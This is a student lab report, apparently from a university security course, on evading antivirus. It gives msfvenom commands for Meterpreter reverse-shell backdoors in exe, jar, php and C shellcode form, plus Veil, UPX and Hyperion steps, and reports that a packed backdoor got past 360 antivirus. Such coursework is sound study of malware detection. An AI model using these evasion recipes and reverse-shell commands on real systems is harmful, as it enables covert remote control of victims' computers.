2018-2019-2 20165205 网络攻防Exp3免杀原理与实践
一、实践内容
1.1正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程
1.1.1正确使用msf编码器
- 尝试用msf编码器对后门程序进行多次编码,尝试降低被查杀概率
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 55 -b ‘x00’ LHOST=10.1.1.169 LPORT=5205 -f exe > met-encoded10.exe
其中-e
为编码,-i
为编码次数,-b
为规避坏字符。
- 编码55次后得到win7中可以运行的可执行文件
- 对编码55次的可执行文件扫描
- win7中被查杀
1.1.2.msfvenom生成如jar之类的其他文件
-
生成Java程序:
msfvenom -p java/meterpreter/reverse_tcp lhost=10.1.1.169 lport=5205 x> 20165205_backdoor_java.jar
将后门程序封装到jar包里,编写java程序时可以直接导入 -
win7中被查杀
-
生成php文件:
msfvenom -p php/meterpreter/reverse_tcp lhost=10.1.1.169 lport=5205 x> 20165205_backdoor.php
php文件可以嵌入到HTML文件中,它是一种完全适应各种操作系统的文件
1.1.3veil-evasion
-
sudo apt-get install veil-evasion
之后veil
发现有很多包安装失败 -
我在安装时没有自动安装Python,所以我需要手动安装
sudo apt-get python
,还有几个包也是需要自己用命令行下载的,安装好这些之后再打开veil,才是正常的界面 -
输入
use evasion
进入到evasion tool
-
可以看到相对于msf,veil的payload选项好像要少一些?
-
用C语言重新编写Meterpreter
use c/meterpreter/rev_tcp.py
-
设置反弹连接IP(KAIL的IP):
set lhost kailip
-
设置反弹连接端口:`set lport 5205
-
generate
生成文件,并在下一个跳出的命令行处输入文件的名字 -
/var/lib/veil/output/compiled
我们生成的文件就在这个文件夹下 -
把这个文件复制到win7主机中:被查杀
1.1.4使用shellcode编程
- 使用msf生成shellcode:
msfvenom -p windows/meterpreter/reverse_http lhost=10.1.1.169 lport=5205 -f c
- 创建文件5205_door.c,将
unsigned char buf[]
强制转换成函数
- 编译:
i686-w64-mingw32-g++ 5205_door.c -o 5205_door.exe
- 对普通的后门进行检查
1.1.5加壳工具
-
加壳:
upx 5205_door.exe -o 5205door_upxed.exe
-
加壳后放到win7中居然是安全的。
-
对加壳文件进行检查
-
加密壳Hyperion
- 将上一个生成的文件拷贝到
/usr/share/windows-binaries/ hyperion/
目录中 - 进入目录
/usr/share/windows-binaries/hyperion/
中 - 输入
wine hyperion.exe -v 5205door_upxed.exe 5205door_upxed_Hyperion.exe
- 对加密加壳文件扫描
- 几乎一半的杀毒软件都可以杀出来
- 将上一个生成的文件拷贝到
1.2通过组合应用各种技术实现恶意代码免杀
- 首先在做加壳的时候就发现普通的加壳文件是可以躲过360杀毒的,做法是半手工的shellcode文件,用UPX加壳
- 但是马上就会发现,过了一会,被判定为安全软件的后门程序就被检测成木马了,这是因为360的云技术,把我们的查杀结果上传到云进行比对,然后判断这是一个木马程序,然后这个木马程序就被全国联保了
- 然后我在源代码里加入了隐藏程序窗口的代码,怎么说呢,也并没有好很多,最后我把360的云端上传技术关掉了,果然我的这个小木马活了下来
用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
- 360版本:11.1.0.1001
- 测试回连结果:可以查询对方文件目录
二、报告内容:
2.1基础问题回答
-
杀软是如何检测出恶意代码的?
- 静态查杀
- 特征码的检测:杀软通过比对目标文件与病毒库中代码的特征码来判断文件中是否含有恶意代码
- 启发式查杀
- 结合了虚拟机的一种查杀方式,先模拟执行这个文件,然后看看后果是否有异常
- 基于行为查杀
- 通过判断文件的行为来判断文件是否正常
- 云查杀
- 这一点是我从网上查到的,如果有不对,看到的同学之间指出来就好
- 云查杀基于云共享特征库扫描,可以很及时地防范大规模的恶意代码攻击
- 静态查杀
-
免杀是做什么?
- 通过改变代码,减少与特征库内代码碰撞的概率,来通过杀软的检测
-
免杀的基本方式
- 代码变换
- 加壳变换
- 代码混淆
- 加密技术
- 等等
2.2实验总结与体会
本次实验中通过多种多样的方式,对我们的恶意代码进行“包装”企图逃过杀软的检测,但是结果告诉我们这很难,尤其是在这样一个网络与计算十分发达的时代,我做的加壳文件,当下没有被扫描为木马,但是他上传到云端,马上又被“打回原形”,进行全国联保了。我通过自己动手制作了属于自己的木马软件,其实还是很有成就感的,尤其是可以控制别人的电脑。
在安装veil的时候也是遇到了很多困难,但是我感觉大家都装的很顺利(笑哭)
2.3开启杀软能绝对防止电脑中恶意代码吗?
答案显然是不能,我们下载的盗版软件,无意点击的小广告网页,接触带病毒的U盘,感觉恶意代码还是很难去做到完全不会中招的呢。